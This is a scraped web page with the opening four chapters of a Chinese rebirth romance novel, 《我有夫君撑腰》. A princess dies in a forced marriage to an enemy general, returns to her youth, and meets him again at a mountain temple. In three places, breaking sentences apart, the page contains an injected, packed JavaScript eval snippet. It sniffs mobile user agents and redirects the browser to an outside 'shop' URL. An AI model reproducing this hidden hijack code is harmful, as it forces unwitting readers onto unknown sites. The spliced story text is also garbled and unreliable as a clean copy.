《我有夫君撑腰》 1. 解 脱 那一日是回南天。 连下了七日的雨，到处都是湿漉黏腻的。一股幽暗霉味隐隐从墙根里逸出来，像幽冥里来的使者游荡在樱色幔帐间蠢蠢欲动。 沈妆躺在拔步床上，醒醒睡睡，记不清这是第几日，但隐约知道自己大限将至。 四年了，她终于可以解脱了。 一丝苦涩的浅笑在唇边漫开，她缓缓抬起发酸的眼皮，在黑暗里昏睡太久，连阴天晦暗的光线都觉刺眼。 “醒了？” 一个高大的黑色身影靠近过来，遮住了光。沈妆的视线缓慢聚焦，看清了那张熟悉的脸。 檀京肃长身直立，俯视着榻上的她，眼底一片平静，无悲亦无喜。 犹记得四年前，红衣鲜亮，宝冠璀璨，沈妆走出喜轿的那一刻，大赫所有女子都黯然失色了。 纤长玉手搭在红绸上，雪肌腻理，如洁白冰山幻成。她抬头望着他，眼睛似星河淌过，散着细碎柔和的光。 而如今，五官依然清秀，却已蒙了层淡淡的青灰，压住了所有鲜活的气息，如同枯木一般。 “药热好了。”檀京肃将一碗药放在她床边。婢女早晨熬的汤药，一直等不到她醒过来，反反复复热了三回，药色浓稠乌黑。 一股苦气涌入鼻间，沈妆皱着眉微偏过头：“不喝了。” 她自知这病药石无灵，喝药不过是稍作补益，多续几日残命罢了。前些时日她还强忍着喝下去，以免让檀京肃看出她有心赴死。但今日她不想装了，她不希望自己走的时候满身苦气。 “能不能帮我点上熏香？” 檀京肃点头，成婚四年，这是她第一次对自己提出要求。 他从床边柜中寻出一罐绘着素馨花的陶罐，里头是她从平霄国带来的四和春香，用了四年所剩已经不多了。 檀京肃不懂熏香，但常见沈妆用香，看得多了便知道该怎么用了。他取了沈妆常用的祥云香篆放进宝鸭香炉里，不偏不倚放在了正中位置。他舀了一勺香粉铺上去，担心不够，又添了一勺，仔细匀了匀，可惜香篆拿起来的时候香粉仍是散了。 细微的火燃着松散无状的香粉，缕缕青烟幽缓腾起，沈妆用力吸气，让熟悉的故国香味灌进肺腑里。 “这几年，你可曾欢喜过？”檀京肃忍不住问她。 沈妆唇角的弧度僵住了，没有过多思考便答道：“将军待我很好，我自然是欢喜的。” 檀京肃的确待她不差，她喜欢银杏树，他便栽了满园。她不喜应酬，他便让门房把命妇们的邀帖全都拦了。即便如今失势被新帝软禁府中，他依然想方设法搜罗稀贵药材为她续命。 但若说欢喜，战败和亲，如贡礼一般被送到大赫，与手染同胞鲜血的杀人魔同床共枕，谈何欢喜？ 檀京肃眼底泛起寒意，她到死也不肯与自己说一句真话。 人人都说他娶了个温良贤淑的美妻，事事以他为先，处处妥贴照料，可檀京肃知道，她的所言所行没有半点是出自真心。 但愿来生，她身畔那人能予她欢喜。 “大夫说，或许就在这一两日。”檀京肃没有隐瞒，他怕她还有心愿未了，“到时，我会将你……送回平霄。”尸骨二字，他始终说不出口。 他知道沈妆并不愿埋在大赫，更不愿与自己同穴，即使如今他的兵权已被新帝褫夺，也会动用一切办法让她重回平霄国。 这是他对她最后的补偿了。 “多谢将军。”沈妆是真心谢他的。她一点也不喜欢大赫，当年若不是为了保住兄长和安国公府满门的性命，她宁死也不会踏入大赫半步。 忆及当年，沈妆的乌眸蒙了层黯淡。 四年前，檀京肃领骁驰军进犯章州城，她的兄长沈戬立军令状守城反攻，却在举兵突袭时中了檀京肃的埋伏。 沈家军困于城外，章州城内只剩下一城的老弱妇孺，城破人亡只消顷刻。 不知是幸还是不幸，大赫并未攻城，而是借机要求平霄国纳岁贡、嫁宗女，而且点名要她来和亲。 安国公府沈家世代镇守章州城，沈家几代人都折在大赫，大赫的兵将也多是命丧沈家军刀下。如此血海仇深，将她嫁作质婆是对平霄国和沈家军最大的羞辱。 她若不嫁，城破人亡。嫁了，大赫退兵，兄长性命可保，百姓也可暂得安宁。 即便千般不愿，沈妆还是穿上那身嫁衣入了大赫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388134|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>和亲四年，她谨言慎行，忍气吞声。明明心里厌恶檀京肃，还要曲意逢迎与他假作恩爱。每回与他亲热，她都恨不得转头撞死。 她日日想死，却不敢寻死，担心自己的死会被大赫视作再兴战事的借口，那这四年的委曲求全便都白费了。 好在，三个月前有人在她的饭食里下了药。 去年腊月起她莫名开始乏力嗜睡，饭后尤甚，悄悄断了两日食便又好了。她猜到是有人在自己的饭食中投毒，但并不知是谁。或许是新帝一党，或许是早就对她动过杀心的骁驰军副将，又或许是檀京肃自己。 是谁并不重要，重要的是这毒下得不着痕迹，所有人都以为她是病成这般的。 “妆儿命薄，只能来世再服侍将军了。”沈妆气若游丝，极力在眼眸里挤出楚楚深情。 在大赫待了四年，朝堂上的事情她多少知道一点。 虽则檀京肃从前是穆王党羽，当了摄政王后与新帝有过不少龃龉，但如今穆王已死，新帝稳坐帝位，为国为己，檀京肃都不会再与新帝为敌。 而新帝，多年来忍辱蛰伏，从势弱皇孙一跃成为大赫新帝，可见其绝非庸碌之辈。他若想杀檀京肃早就可以动手了，软禁他无疑是想让他臣服归顺，成为自己再拓疆土的利刃。 迟早有一日，檀京肃还会回到战场上成为沈家军的劲敌。 沈妆本想再说些夫妻情重的话，好让檀京肃在她死后还能念一丝旧情莫太为难她的阿兄，可是心口疼得厉害，仿佛压了巨石，越来越沉，半句话也说不出了。 檀京肃不忍看她这般痛苦，平静说道：“你是我妻，你的家人就是我的家人，今生来世我都会为你保全他们。” 远在平霄的亲人是她如今唯一的牵挂，檀京肃向来一诺千金，有他此言，沈妆便安心了，心口也不那么疼了。 酸涩的眼皮缓缓垂下，身上的气力慢慢弥散，沈妆沉沉睡下了。 意识消弭之际，她想，若有来世，她希望与檀京肃天北地南永不相见。 檀京肃垂眸，立了许久才缓缓蹲下身，帮沈妆拨去贴在脸上的发丝，将锦被妥贴盖好。 “若真有来生，我们还是别做夫妻了。” 2. 重 伤 天际乌云涌动，风雨欲来。 两个健硕士兵一前一后抬着担架，将昏迷的安国公沈宜抬入国公府，动作又稳又快，十分娴熟，没让沈宜多受半点颠簸。 安国公府管事快步在前领路，将人送进燕翦院的卧房内安置好。 一个时辰前已有快马来报，沈宜在战场上中了敌军将领一箭，箭在腿上，并非要害，但沈宜强撑着策马杀敌，待到逼退敌军时已失血过多，直接从马背上摔了下来。 军医已为他止了血，但伤情凶险，性命堪虞。 副将们几番商议之下，决定将人送回国公府，一来可以好生疗伤，二来若真有不测，也能让家中的一母一妻一女见上最后一面。 安国公夫人刘耘得了消息后已偷偷哭过两回了，眼睛又红又肿，心里已做了最坏的打算。然而在看见担架上面无血色的丈夫时仍是撑不住了，伏在地上哭得天崩地裂一般。 沈妆亦然。 即便这个场景她已见过一回，即便知道阿爹终能够脱险，仍是忍不住捂着帕子哭了。 相较之下，沈宜的生母明昭长公主是最镇定的。 安国公府沈家世世代代镇守章州城，是平霄抵御大赫的强盾。自从十六岁那年从帝都嫁到章州城，明昭长公主便料得会有这么一天。 “小将军呢？”明昭长公主问送沈宜回来的士兵。 沈家还有一个儿子叫沈戬，人人都唤作小将军。此次他亦随沈宜出征，是副将之一。 “小将军怕敌军反攻，仍守在军中。” 明昭长公主拧着眉心点头，既欣慰沈戬顾全大局，又心疼孙儿不能归家尽孝。 长公主忧心地看向蹲在床边抹泪的沈妆，稚嫩的脸蛋上一双杏眼红似蔷薇，招人心疼。她无声叹了一气，唤儿媳刘耘道：“宜儿媳妇，你随我出来，有几句话要与你说。” 跪在地上的刘耘抹了泪抬头，她原本是不想离开丈夫床前半步的，但对上明昭长公主的眼睛时，瞬间便明白婆婆要与她商量何事，扶着冰凉的柱子吃力站起来，摇摇晃晃地随明昭长公主走出去。 沈妆吸了吸鼻子，转头望向屋外，祖母与阿娘站在屋檐下说话，祖母的面色比檐外的天色还要阴沉。 此情此景，亦与记忆里的一般无二。 前世她一心担忧阿爹伤势，守在床边寸步不离，并不知晓祖母与阿娘说了什么。现在细想，阿爹命在旦夕，祖母此刻同阿娘说的定是要紧事。 沈妆深深吸气压制哭意，蹑步走到墙边，又贴着墙往门边挪，耳朵使劲往门缝处凑，偷听两位长辈说话。 “母亲唤我出来，是为了般般的亲事？” 般般是沈妆的乳名。 她还未出生的时候阿娘就盼着肚里怀的是个女儿，不必去碰那些刀枪剑戟，每日只对镜理红妆就好。甚至扬言不论生的是男是女，都要叫沈妆。 万幸她当真是个女儿家，否则以阿爹对她阿娘的纵容，未必不会给儿子起个女孩儿名。 她出生以后，为了将一碗水端平，阿爹又请祖母为她拟一个乳名。祖母便定了“般般”二字，取斑斓繁盛之意。 祖母与阿娘虽常有意见相左的时候，但对沈妆的期望都是一样的。她们都希望她能嫁去帝都的安乐人家，远离章州城这个风雨飘摇之地。 虽然她如今还未及笄，祖母已托皇后为她打听帝都中年岁相仿的少年郎。 “皇后给我回信了。”祖母面色凝重，“她探过皇帝的口风，皇帝的意思，是想让戬儿与般般成婚，入赘沈家。” 天际响了一道闷雷，如同沈妆的心声一般。 她很小的时候就知道兄长沈戬与她并无血缘，而是沈家军中一位士兵的遗孤。 那士兵战死沙场时妻子才刚临盆，闻得丈夫战死悲痛过度，孩子还未足月便追随先夫去了。可怜襁褓中的沈戬无人照拂，阿爹就把他抱回了安国公府。 那时阿娘还未过门，兄长就养在了祖母膝下。后来阿娘嫁进沈家，也将阿兄视如己出，自己同他一起长大，更是与亲兄妹无异。 沈戬天生就是当将军的好苗子，八岁时阿爹就把他带进军营言传身教，十二岁第一次上阵，到如今已立下了不少战功。 沈家军里人人都佩服他年少有为，将他视作阿爹的接班人。唯独远在帝都的皇帝，一直介怀兄长非沈家血脉。 这些年阿爹几度请旨想立兄长为世子，皇帝皆是不允，甚至还送了许多美姬过来，气得阿娘睡梦里都在大骂。 好在阿爹对阿娘一心一意，那些美娇娘连国公府门朝哪开都不知道，直接就被送去了远郊山庄养蚕织布。有想回帝都的，阿爹派人好马好车送回去，想留在章州城嫁人生子的，阿娘给她们添妆送嫁，倒也成了一时佳话。 这些年来，阿爹不肯纳妾，阿娘不肯添子，世子的位置一直空悬。直到后来她嫁去大赫和亲，皇帝才终于将兄长立为世子。 当时她还以为是皇帝想补偿沈家，如今听了祖母这话她骤然明白了，原来是因为她嫁给了檀京肃，不可能再为平霄国延续沈氏血脉，皇帝才不得不把沈家军交给兄长。 “皇帝是想把我们沈家赶尽杀绝吗！”刘耘气得耳根通红，方才的虚弱乏力之感顿时不药而愈。 祖母蹙眉，如此大逆不道的话也只有刘耘这般农户出身的人才敢说出口。 刘耘刚嫁入沈家的时候，她还费过心思教她礼法规矩。然而刘耘生来便是这般心直口快，学不来大家闺秀的沉稳。龃龉了几次后她也就不教了，毕竟她们两个做婆媳的日子或许会比刘耘与沈宜做夫妻的时日还长，何必为此闹得下半生相见两生厌。 “若圣意真是如此，抗旨不遵祸及全族，倒不如趁早先将戬儿的婚事定下，断了皇帝的念想。”祖母声音平静，事情未到不可回旋的地步。 “沈家全族也没几个人了。”刘耘叉着腰，越想越气，“要我说，让戬儿和般般剃度出家罢了，省得将来生了儿子还得送去战场上，日日担惊受怕。” 沈妆不由想起来，上一回帝都送美人来的时候，阿娘还说过要让阿爹去当太监的气话。她一直觉得，天底下最希望安国公府断子绝孙的不是大赫，而是她的阿娘。 不过她记得，前世阿爹重伤初愈后，祖母和阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388135|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘就给大哥定下了亲事，可见阿娘最后还是认同的祖母的主意。 祖母叹气，她知道刘耘心里攒了多年的委屈，这会儿再与她商量什么都是徒劳，不如先让她好生照顾沈宜，一切待沈宜的伤势尘埃落定再议。 豆大的雨点乒乓落地，雨势夹风，吹枯拉朽。 祖母一路沿游廊去了祠堂给沈氏先祖敬香，沈妆与阿娘守在阿爹床边照顾。 前世此时，沈妆只知在阿爹耳边唤他快些醒来。如今有了在大赫照顾檀京肃的经验，便知道该如何喂药，如何避免夜里发热。 看着年幼的女儿忙前忙后，仿似一夜长大十岁，刘耘心里像腌了一缸酸橘子，眼泪止不住往下落。 “阿娘别担心。”沈妆以为阿娘担忧阿爹的伤势，宽慰道，“阿爹的脸色已好了许多，想必是慢慢见好了。” 其实沈妆心里觉得这阿爹一劫不全算坏事，箭伤伤及筋骨，愈后不良于行，阿爹从此不再上阵，阿娘也从此少了一个要担心的人。 “般般越来越懂事了。”刘耘扯了衣角抹泪，心底更希望女儿慢些长大，多过几年自在无忧的日子。 沈妆打了盆干净的水，拧了面巾给递给阿娘擦脸，劝道：“阿娘不如先回去休息，今夜我在这里守着，白天阿娘再来替我。” 刘耘摇头：“我睡不着，你去休息吧。” “我也睡不着。”她现在一闭上眼就做梦，梦到檀京肃睡在自己枕边，眼睛像恶狼般发着光，直直盯着自己，像要将她拉回地狱。 沈妆挽住阿娘的胳膊，脑袋靠了上去。阿娘不喜脂粉香，偏爱稻谷的气味，平日里厨房的淘米水专留下来洗她的衣服用。清清淡淡的稻谷香闻着令人心安，也让她真真切切相信自己又回到了十三岁时。 刘耘抚着女儿绒绒嫩嫩的脸颊，慨然叹息。 她常想，般般若是生在帝都的公爵人家，必定安乐一生。可她偏偏投在自己肚子里，从小就要为父兄的安危担忧，凭白比寻常女儿多受许多委屈。 可沈妆从来不觉得委屈，安国公府虽然团圆日子不多，但是一家人骨肉情深，即便相隔千里也会互相惦念，比那些明里暗里互相算计的大家大宅要好千万倍。 “不知戬儿几时才能回来。”刘耘又再叹息，忆起白天婆母说的话，愈发忧心。 “阿娘信我，大赫很快就会退兵，阿兄很快就能回家了。”她记得，这次大赫虽然来势汹汹，但并未久战，好似是朝廷里的派系争斗所致。 刘耘只当女儿宽慰自己，战事上的事情她们这些内宅女子哪能看得明白。只盼夫君能快些醒来，给她拿一拿主意。 正忧虑时，隐约听见两声极轻的闷咳。 刘耘分不清是幻觉还是真实，缓缓转过头看向榻上的夫君。 榻上的沈宜眼皮微微抽动着，又咳了两声。 “醒了，你阿爹醒了。”刘耘喜出望外，热泪霎时夺眶。 沈宜缓缓抬起眼皮，虚弱伸手想摸一摸妻女。刘耘见状猛地扑上去，抱着他闷头恸哭起来。 沈妆的视线也模糊了，她已经许多年没与阿爹相见了。 3. 初 遇 数位医师前后照料，沈宜的伤势大有好转，不过三日已能坐起来说话，问的第一句便是前方战事。 军营里每日皆有军报传来，一本一本叠在沈宜床头。沈妆已一一看过了，阿爹负伤后大赫军队又攻了两次，皆被阿兄打退了，如今已有退兵之迹。 沈妆怕父亲费神劳累，只捡紧要的说，沈宜听后畅然舒气，总算放下了心中大石。 “阿爹，军报上说，此次领兵攻城的是个少年将军，可知那人姓甚名谁？”这个疑惑在她第一次看军报的时候就萦在心头，有个名字一直游荡在她脑海里。 “名字我倒是记不清了。”沈宜回想了一番，“大赫此番是临阵换帅，原本是那燕王领兵，谁知出征前燕王患了急病，这才匆匆换了个人。说是檀皇后的侄儿，与你阿兄一般大。” 沈妆心中一颤，她清楚记得，大赫檀皇后虽有许多侄儿，但只有一个与她阿兄同岁，正是那一直将她困在噩梦中的檀京肃。 “也是你阿爹我轻敌了，听闻这檀小将军头回领兵，便以为是个贪图军功、不知死活的纨绔。没想到他不仅战术刁钻，箭法也颇为厉害。” “阿爹腿上的伤是他射的？”沈妆瞪大了眼睛，阿爹的明光铠是沈家世代相传的，百炼精铁所造，刀枪不入，唯独腿处为了便于策马留了空。战场混沌，要想射中此空隙处绝非易事。 沈宜点头承认，被一个初出茅庐的纨绔子弟射伤还险些丧了命，实在不是件光彩事。 沈妆看着沈宜腿上的白纱布出神，初次上阵便能重伤敌军主帅，这是何等的威风事迹，为何她在大赫那么多年，从未听人提起过？ “般般不必太过担心。”沈宜不愿女儿年纪轻轻就要为战局忧心，宽慰道，“你阿兄青出于蓝，定能击溃敌军。” 沈妆点点头，她知道阿兄此战必胜，可她担心的是三年之后。 父女俩正说着话，刘耘端着药进来，一股浓浓苦味漫过来，沈妆噌地别过头躲开了。 刘耘浅浅笑了，她这女儿从小便讨厌苦味，连苦瓜、芥菜一类也是不肯沾的。昨天还觉她长大懂事，如今见她这般又觉得她仍是个小孩儿。 沈宜原也不爱喝药，但难得死里逃生能与家人团聚，即便药再苦心里也是甜的，屏着气一口将药喝完，沈妆赶紧端了碗清水过去给他漱口。 沈宜漱了口缓了缓气，转头望向窗外，碧空如洗。他道：“此番大赫铩羽而归定消停些时日，能待我伤愈咱们一家人到青桐山去走走，许久没吃云深寺的斋饭倒有些馋了。” 沈妆的笑容骤然僵住，青桐山山道难行，阿爹以后怕再也上不去了。 刘耘的脸色也不大好，她已记不起上一回举家出游是何年何月的事了。 章州城难得几年太平日子，即便是太平无战，他们父子俩也得轮着在军营里驻守。日子已是这般艰难了，帝都那边却还要落井下石。 她虽心中有气，但冷静下来思量了也知道圣命难违。幸而眼下沈戬未册作世子，婚事还能由他们夫妻俩做主。只要他们先一步把戬儿的婚事定下，帝都那边也就只能断了心思。 早几日沈宜伤势不稳她不敢将消息告诉他，只先悄着让媒婆打听物色。现下瞧着沈宜气色大好，也该让他这个一家之主帮着拿拿主意。 “般般，厨房里炖了鲫鱼汤没熄火，你过去瞧瞧。”刘耘向来直肠子，不善说谎，想遣开女儿也寻不着个好借口。这会儿正是准备午饭的时候，厨房里人来人往哪里用得着担心炉火。 沈妆知道这几日阿娘一直在为阿兄的婚事忧心，光是媒婆都偷着见了四五回。兄长的婚姻大事不是她一个未出阁的姑娘该打听的，沈妆识趣地端了药碗出去了。 想着今日恰是初一，云深寺必定备了斋饭，沈妆便去马厩牵了自己骑惯的小白驹出门。若是阿爹现下解了馋，短时日里大约就不会惦记起云深寺了吧。 云深寺在青桐山山腰处，上山只有一条曲折小路可走，沈妆将马拴在了山脚下，徒步上山。 今日香客颇多，人人都带了贡品香烛，独她两手空空，走起山路格外轻便。 章州城的百姓素来信奉神佛，尤其是遇上战时，更喜欢到寺庙里求佛祖庇佑。 沈妆不信神佛，她信章州城的平安是靠沈家军拼死守下的。但祖母说，求神拜佛能让人心安，比在家中惶惶度日好。 祖母每年都会拿些私己到云深寺添香油，好让云深寺能长久维持下去，让城中百姓有佛可拜。 云深寺也感念沈家的慈悲心，一听她说是想带斋菜给安国公，立刻让厨房新烹一鼎。 等斋菜的功夫，沈妆便在寺中闲逛。 云深寺里有片橘子林，橘子花初开，白嫩娇巧，嵌在绿枝桠上煞是好看。 沈妆背着手在林子里逛了一圈，瞧见密草丛里有个黑麻绳似的东西在动，歪头细看，是尾刚解了冬眠的乌蛇。 可惜是在佛寺里，否则她定捕回去加道荤。 “姑娘莫怕，此蛇无毒。” 听见背后有人这般提醒她，沈妆只觉好笑，沈家儿女岂会怕蛇。 那人捡了根树枝过来，把乌蛇挑起来甩远，又转过头来关切道：“姑娘可伤着了？” 原想着是个好心的香客，正准备道谢，唇刚微启时看清他的容貌，刹地惊出一身冷汗，半个字也说不出来。 檀京肃为何会在此？ 如今的檀京肃还是个少年郎，穿了一身不打眼的青衣，显是为了掩人耳目。可他自小在大赫宫中长大，仪态自与旁人不同，行动站立皆透着自矜自傲，一看便知不是寻常布衣。 过往的记忆霎时涌上来，沈妆不由打了个寒颤。 “姑娘为何这般看我？”檀京肃惑道。沈妆的眼神既惊又怕，却分明不是怕那尾蛇。 “姑娘”二字令沈妆冷静了下来，他不再唤她作“夫人”了。 沈妆壮起胆儿来仔细打量他，从前她第一次见到檀京肃的时候他已封了侯，统领着骁驰军南征北战，手染无数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388136|200298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜血。那时候他总爱穿深色衣裳，夜里行走似鬼差一般，话也不多，看人的眼神冷冷的，像藏了冰刀，仿佛一不高兴就要取人性命。现在不同，唇角带笑，眼有温光，和邻家少年没什么两样。 细想想，他这回才头次带兵打仗，大约还未到那杀人不眨眼的地步。而且如今他才十七岁，算起来自己做人的日子倒比他长。沈妆忽有了底气，甚至动了擒住他以绝后患的念头。 不过这个念头很快便打消了。 她虽习过些拳脚，但在檀京肃面前怕只算是花拳绣腿。何况眼下还不知道周围是否埋伏了他的人马，动起手来恐会伤及寺中的老弱妇孺。 心思一转，倒不如先探探他潜入章州城的目的。 沈妆后退了半步与他拉开距离，试探道：“这位公子不似章城人。” “的确不是。”檀京肃爽快承认，反问道，“可即便我非本城人，姑娘也不必如此惊慌。” 沈妆直直盯着他，满身透着戒备：“如今正是战时，人人对章城避之唯恐不及，此时到章城来的外乡人，身份怕不一般。” “姑娘多心了，我不过是个倒贩药材的掮客。战时价儿更高些，所以才铤而走险罢了。”檀京肃笑容轻松，没露半点破绽。 章州城里的确有不少药材掮客，若不是她早已知晓他的身份兴许真就被他蒙过去了。 “原来如此。”沈妆一笑，松下肩，假作信他，又走近了半步说道，“虽是为银钱奔走，但若无掮客不顾性命南来北往地运送药材，可不知要多多少人受这战乱的苦，公子也可称是英雄。” “姑娘这话倒令在下汗颜了。”檀京肃客客气气抱了一拳。 “章州城近来多事，不知公子如今在何处落脚？可还太平？” 沈妆一副东道主的模样，檀京肃却只是笑笑，顾左右而言他：“章州城有沈家军在，哪有贼人胆敢作乱。” 沈妆不由感慨，檀京肃的戒备心竟从年少时就这般重，为了不泄露行踪竟不惜夸赞对手。 “沈姑娘，国公爷的斋菜备好了。” 一个小沙弥站在远处挥着胳膊喊她，沈妆心里咯噔一下，还没套出檀京肃的话，自己的身份倒先暴露了。 “原来姑娘是安国公家的千金，”檀京肃道，“怪不得对外乡人这般警惕。” 沈妆脑子里嗡嗡响，如今再想套他的话怕是难了，不如先下山去找阿兄，让他派人暗中盯住，伺机动手。 她朝檀京肃道：“文殊殿内供的文殊菩萨可保商贾财运亨通、官宦平步青云，公子难得来一趟，可得去求支好签。” 檀京肃一笑，道：“我信富贵在己不在天，求签问卜大可不必。今日只是慕名来尝尝寺中斋饭，如今也是时候下山了。沈姑娘是否也要下山？不妨同行。” 沈妆暗暗犯难，若让檀京肃先下山她就来不及通知阿兄，若是一同下山，又如与虎同行。 不入虎穴，焉得虎子！ “公子请。”沈妆嫣然莞尔。 4. 噩 梦 和尚们甚是客气，竹编的食盒装得满当当，沈妆接过手时胳膊往下沉了一截。檀京肃主动拎了过来，沉甸甸的食盒在他手里轻若无物。 下山时，檀京肃走在前边，沈妆在后。倒不是为了提防他，而是她自小便是上山容易下山难，每每下山时总觉耳鸣头晕，实在走不快。 从前有阿爹和阿兄扶着，虽然走得艰难倒也不至于害怕，如今前有猛虎，脚下又是不平路，脑袋越走越发昏，腿脚竟也开始发颤了。 “沈姑娘没事吧？”檀京肃已刻意放慢脚步，回头时却见沈妆离自己足有半丈远，走得颤颤巍巍，脸色也苍白许多。 他朝她伸出手掌：“我扶你。” 沈妆毫不犹豫将手搭上去，比起被他知道沈家女儿却不敢走下坡路，她更怕失去这个捉拿他的大好时机。 握住他的手时，沈妆不由忆起前世。 前世他们虽是同床共枕的夫妻却实在疏离得很，唯一一次他牵自己的手，是大婚那日扶她走下花轿的时候。 她记得他的手掌很厚，纹路分明，还结了许多茧子，与阿爹的手很像。而如今这只手茧子更薄些，似乎也更暖些。 在檀京肃的搀扶下，沈妆迷迷糊糊走下了山。一踏上平地，立时神清气爽。 “多谢公子。” “无须客气。”檀京肃帮她将食盒系在小白驹上，伸手欲扶她上马，沈妆已自己跃上马背，打算先假装离开，再绕道回来跟踪他。 他拉着缰绳没有放手的意思，顺抚着马毛问道：“听闻安国公沈家不论男女老幼个个精于骑术，不知沈姑娘骑术如何？” 这话问得奇怪，难不成他想与自己比试骑术？沈妆自谦答了句“尚可”。 檀京肃仰起头，眸光骤多了几分狠厉：“沈姑娘是如何看出我身份的？” 这眼神，如刀似剑，逼得人背上发寒。这才是她记忆里的檀京肃，方才的平易近人竟都是装出来的。 沈妆心里打了个颤，面上仍在扮傻：“什么身份？不是你自己说你是掮客的吗？”须臾间后背已沁出汗了。 “沈姑娘若真信我是掮客，又何必告诉我文殊菩萨可庇佑仕途？” 沈妆脸色发青，如此一句话竟就被他察觉了。 “沈姑娘不告诉我也不打紧，我回去自会好好反思。”檀京肃道，“姑娘珍重。” 言罢用匕首在马驹上轻划了一刀，小白驹长嘶一声，扬蹄飞奔。 待她制住小白驹掉头回去时，早已不见了檀京肃的踪影。 那夜，沈妆做了个梦，梦见檀京肃箍着她的手腕，死死将她压在榻上，不顾她的挣扎一寸一寸侵略她的肌肤。 他的面容比以往的梦境更加清晰，那鹰隼般的眼锐得可怖。 她醒来时，冷汗已将衣衫浸湿，冷风一吹，寒彻骨髓。 一片洁白的月华落在她榻前，循光望去，窗子不知几时被风吹开一道缝。 沈妆赤着脚去将窗子关了，身上冷得厉害，又点了烛火去衣柜寻衣裳替换。 她已尽可能放轻手脚，仍是将睡在次间的曹阿梨吵醒了。 曹阿梨是她的婢女，自小陪着她长大，姐妹一般。 “小姐在寻什么？”曹阿梨披着衣服过来，沈妆房里的东西是她负责收拾的，沈妆久寻不得的里衣，她随手一翻就找着了。 换好了衣裳，睡意也已没了。曹阿梨瞧她靠在床上发呆，从暖壶里斟了杯热水给她。 “不是说大赫要退兵了吗？小姐还在担心吗？” 沈妆摇头，接过热水握在手心暖着。她去大赫和亲的时候阿梨义无反顾陪她同往，可自己却没能护好她，眼睁睁看着她被赫人掳去，活活烹作了一锅肉汤。 这件事像一把刀插在她心上，无论何时想起都会忍不住恸哭。即便如今曹阿梨活生生站在她面前，她也有种不真切的恍惚。 “阿梨，我让母亲帮你寻门亲事吧。”沈妆实在害怕重蹈前世覆辙，若是阿梨早早成了婚，即便将来自己躲不过那一劫，至少她能留在平霄好好生活。 没头没尾的一句话，把曹阿梨听得愣住。 “小姐，我想跟着你。”曹阿梨低着头，话音透着委屈。她的父兄早早战死沙场，阿娘又是个掉钱眼里的人，若不是沈家留她做婢女，她早不知被卖多少回了。 她知道沈夫人一直想给沈妆寻个在帝都的婆家，她也想去帝都，不，只要不用留在章州城，能离她阿娘远远的就成。 见她一副要哭鼻子的模样，沈妆放下水杯拉着她的手安慰，不敢再提此事。 立夏那日，大赫终于退兵南归。 安国公府后厨炊烟不断，门前支了个棚，一鼎接一鼎的乌米饭端出来分给章州城百姓。 各家各户欢欢喜喜端着陶盆来，不为饱腹，只为图个好彩头。 沈戬也终于偷闲回了趟家，未来得及换下铠甲，先去了祖母的熙春堂请安，再同祖母去燕翳院见沈宜。 路上，祖母将家中情形与他说了个大概。 昨日医官婉转告知，沈宜的腿伤伤及筋骨，愈后恐会不良于行。沈宜知晓后虽未表现得平静，但任谁都能瞧得出他心中难受得紧。 沈戬沉了沉气，他在父亲身边的时间最长，最是知晓父亲胸中抱负。腿患难愈，也就意味着再不能披甲上阵，为平霄守疆固土。 “眼下能劝得动你阿爹的也只有你了。”祖母叹息，但愿沈宜念着还有沈戬这个接班人能看开些。 “孙儿明白。” 祖母颔首，又道：“还有一事。我与你父母商议了，往后你担着安国公一门的重任怕是百事缠身，不如早些将婚事定下。” 明昭长公主没有提起皇后给她的密信，一来是难以启齿，二来是不愿沈戬对皇家生怨。 “如此也好。”沈戬道，“早些娶妻生子，想必阿爹也会欢喜。” “混账话！”祖母顿步，向来慈蔼的面色陡然严厉起来，“哪家姑娘不是父母的心头肉，凭何让你拿来哄人开心。催你成婚，是要你寻个知心知意的人踏实过日子，你若为旁的，这婚不议也罢。” “孙儿失言。”沈戬也意识到自己所言不妥，低头认错，“谨记祖母教诲。” 明昭长公主平息怒意，继续往燕翳院去。 沈宜的气色已见红润，但还不能下床行走，只倚在床上翻看医书。 他从前只读兵法。 一听见有人进来，立刻将书藏到身后，拿枕头遮掩。 沈宜勉勉强强地挤出几分欢喜神色，但在看见沈戬那身铠甲时，只觉心头又被扎了一箭，面色骤然塌了。 明昭长公主微摇了摇头，这几日她已将劝慰的话说尽，而今着实没了办法。 “戬儿，到阿爹身边来。”沈宜朝沈戬招手，沈戬走过去坐在床边。 沈宜伸手先摸了那冰凉刚硬的铠甲，而后又在沈戬肩头拍了拍，道了句“辛苦了”。 沈戬顿时百感交集，本已筹措好的宽慰之语竟一句也说不出了。 